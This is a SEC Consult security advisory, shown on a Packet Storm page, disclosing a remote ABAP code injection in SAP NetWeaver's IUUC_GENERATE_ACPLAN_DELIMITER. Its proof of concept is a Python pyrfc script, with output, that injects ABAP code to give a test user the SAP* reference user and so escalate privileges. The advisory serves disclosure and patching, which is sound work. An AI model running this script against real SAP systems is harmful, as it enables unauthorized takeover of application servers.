what you don't know can hurt you

SAP Netweaver IUUC_GENERATE_ACPLAN_DELIMITER ABAP Code Injection

SAP Netweaver IUUC_GENERATE_ACPLAN_DELIMITER ABAP Code Injection
Posted Dec 15, 2021
Authored by Raschin Tavakoli | Site sec-consult.com

SAP Netweaver versions SAP DMIS in at least 2011_1_731 SP versions 0013 and below suffer from a remote ABAP code injection vulnerability in IUUC_GENERATE_ACPLAN_DELIMITER.

tags | exploit, remote
SHA-256 | 3cd28850847bc50e82be1b8c4526c61d99e60d3a9c0583aa8ce8b39bc6610154

SAP Netweaver IUUC_GENERATE_ACPLAN_DELIMITER ABAP Code Injection

Change Mirror Download
SEC Consult Vulnerability Lab Security Advisory < 20211214-2 >
==============================================================================
title: Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER
product: SAP Netweaver
vulnerable version: SAP DMIS in at least 2011_1_731 <= SP 0013
fixed version: see solution section below
CVE number: n/a
SAP SNote: 3089831
impact: Critical
CVSS 3.1 Score: 9.1
CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
homepage: https://www.sap.com/
found: 2021-07-23
by: Raschin Tavakoli (Office Vienna)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult, an Atos company
Europe | Asia | North America

https://www.sec-consult.com

==============================================================================

Vendor description:
-------------------
"SAP SE is a German multinational software corporation based in Walldorf,
Baden-W├╝rttemberg, that develops enterprise software to manage business
operations and customer relations. The company is especially known for its ERP
software. SAP is the largest non-American software company by revenue, the
world's third-largest publicly-traded software company by revenue, and the
largest German company by market capitalization."

Source: https://en.wikipedia.org/wiki/SAP


Business recommendation:
------------------------
SAP® released the patch (SNote 3089831) and SEC Consult advises all
SAP® customers to update their systems immediately.

An in-depth security analysis performed by security professionals is
highly advised, as the software may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1. Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER

The function module IUUC_GENERATE_ACPLAN_DELIMITER allows creating and executing
ABAP programs in the SAP internal /ILT/* and /1CADMC/* namespace. To do that it
creates jobs that can be executed immediately or scheduled for a specific time
in the future. An attacker with the authorizations for the function
module is able to execute arbitrary code and take over the SAP application
server.

As the function module is remote enabled, it allows the attack to be
performed remotely via RFC. In the majority of cases internal RFC
communications are nowadays still found to be unencrypted. This increases the
risk that attackers wiretap service account passwords. Once such user is
hijacked, the attacker has gained all necessary prerequisites for further
attacks as described in this advisory.


Attack Prerequisites
--------------------
1. Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER

The user must have at least the following authorization objects:

S_DMIS:
MBT_PR_ARE: SLOP (SAP Landscape Transformation)
ACTVT: 03 (Display)

S_BTCH_JOB:
JOBACTION: RELE (Release Jobs)

Further, authorization to perform function calls (S_RFC) have to be present.
Alternatively for local execution, authorization to execute function modules
via transaction SE37 would be necessary.


Proof of concept:
-----------------
1. Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER

As a proof of concept, a script was created that assigns
the reference user SAP* to the attacker using the table REFUSER:

* ************************************************************************** *
#!/usr/bin/env python3
from pyrfc import Connection

import time

def print_usref():
conn_highpriv = Connection(ashost="XX.XX.XX.XX", sysnr="00", client="001",
user="DEVELOPER", passwd="Sap123456", lang='EN')
result = conn_highpriv.call('RFC_READ_TABLE',
QUERY_TABLE='USREFUS',
FIELDS=['MANDT', 'BNAME', 'REFUSER'],
DELIMITER='|'
)
column_values = []

for line in result['DATA']:
data = line['WA']
if "TEST" in data:
print(data)


if __name__ == '__main__':
mandt = {'000', '001'} # selected for demonstration purpose

print("Before: USREFUS WHERE BNAME = 'TEST'")
print_usref()

conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client="001",
user="TEST", passwd="Sap123456", lang='EN')

result = conn.call('IUUC_GENERATE_ACPLAN_DELIMITER',
I_REPORTNAME='/1LT/Z_EVIL',
I_SCHED_IMMEDIATE='X',
IT_CODE=["REPORT /1LT/Z_EVIL.",
"UPDATE USREFUS SET REFUSER = 'SAP*' ",
"WHERE BNAME = 'TEST'."
"COMMIT WORK."]
)

print("\nSending payload via IUUC_RECON_RC_COUNT_TABLE_BIG and waiting 5 seconds...\n")

time.sleep(5)
print("After: USREFUS WHERE BNAME = 'TEST'")
print_usref()
* ************************************************************************** *

Running the code produces the following output:

$> IUUC_GENERATE_ACPLAN_DELIMITER_poc.py
Before: USREFUS WHERE BNAME = 'TEST'
001|TEST |

Sending payload via IUUC_RECON_RC_COUNT_TABLE_BIG and waiting 5 seconds...

After: USREFUS WHERE BNAME = 'TEST'
001|TEST |SAP*


Vulnerable / tested versions:
-----------------------------
This vulnerability has been tested on Netweaver 754 (Release), 0002 (SP-Level), SAP DMIS
2011_1_731, SAPK-11613INDMIS.


Vendor contact timeline:
------------------------
2021-10-20: Initial contact with vendor
2021-10-22: Vendor informs that the discussion has been taken up to the
application team
2021-11-11: Vendor informs that issue was also fixed in SAP Note 3089831
2021-11-11: SEC Consult informs Vendor that SAP Note 3089831 fixes the
vulnerability but that CVE and SAP Note description is wrong
(No SQL Injection but ABAP Injection)
2020-12-14: Coordinated release of security advisory


Solution:
---------
SEC Consult advises all SAP® customers to implement SAP Security Note
3089831 immediately.


Workaround:
-----------
See SAP Note 3089831


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Raschin Tavakoli / @2021


Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close